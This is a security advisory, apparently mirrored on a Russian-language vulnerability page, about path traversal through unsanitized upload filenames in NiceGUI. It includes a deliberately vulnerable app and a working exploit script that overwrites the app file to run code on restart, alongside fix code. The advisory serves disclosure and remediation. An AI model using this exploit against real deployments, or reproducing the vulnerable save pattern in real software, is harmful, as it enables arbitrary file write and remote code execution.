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GHSA-9ffm-fxg3-xrhh

Опубликовано: 05 фев. 2026
Источник: github
Github: Прошло ревью
CVSS3: 7.5

Описание

NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None: target = Path(path) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

  • Relative paths with ../ sequences
  • Absolute paths
  • Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py" await e.file.save(save_path) # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui python3 -m venv evilgui && source evilgui/bin/activate pip install nicegui cat > vulnerable_app.py << 'EOF' from nicegui import ui from pathlib import Path UPLOAD_DIR = Path('./uploads') UPLOAD_DIR.mkdir(exist_ok=True) @ui.page('/') def index(): async def handle_upload(e): save_path = UPLOAD_DIR / e.file.name await e.file.save(save_path) ui.notify(f'File saved: {e.file.name}') ui.upload(on_upload=handle_upload, auto_upload=True) ui.run(port=8080, reload=False) EOF python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF' import requests, re, time s = requests.Session() s.get('http://localhost:8080') time.sleep(2) html = s.get('http://localhost:8080').text match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html) upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}' payload = '''from nicegui import ui import subprocess @ui.page("/") def index(): ui.label(subprocess.check_output(["id"], text=True)) ui.run(port=8080, reload=False) ''' s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')}) EOF python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

  • Write files to any location writable by the application process
  • Overwrite Python application files to achieve remote code execution upon restart
  • Overwrite configuration files to alter application behavior
  • Write SSH keys, systemd units, or cron jobs for persistent access
  • Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e): safe_name = Path(e.file.name).name # Strip directory components! await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve() if base_dir is not None: base_dir = base_dir.resolve() if not target.is_relative_to(base_dir): raise ValueError( f"Path '{target}' escapes base directory '{base_dir}'" ) target.parent.mkdir(parents=True, exist_ok=True) await run.io_bound(target.write_bytes, self._data)

Пакеты

Наименование

nicegui

pip
Затронутые версииВерсия исправления

<= 3.6.1

3.7.0

7.5 High

CVSS3

Дефекты

CWE-22
CWE-601

7.5 High

CVSS3

Дефекты

CWE-22
CWE-601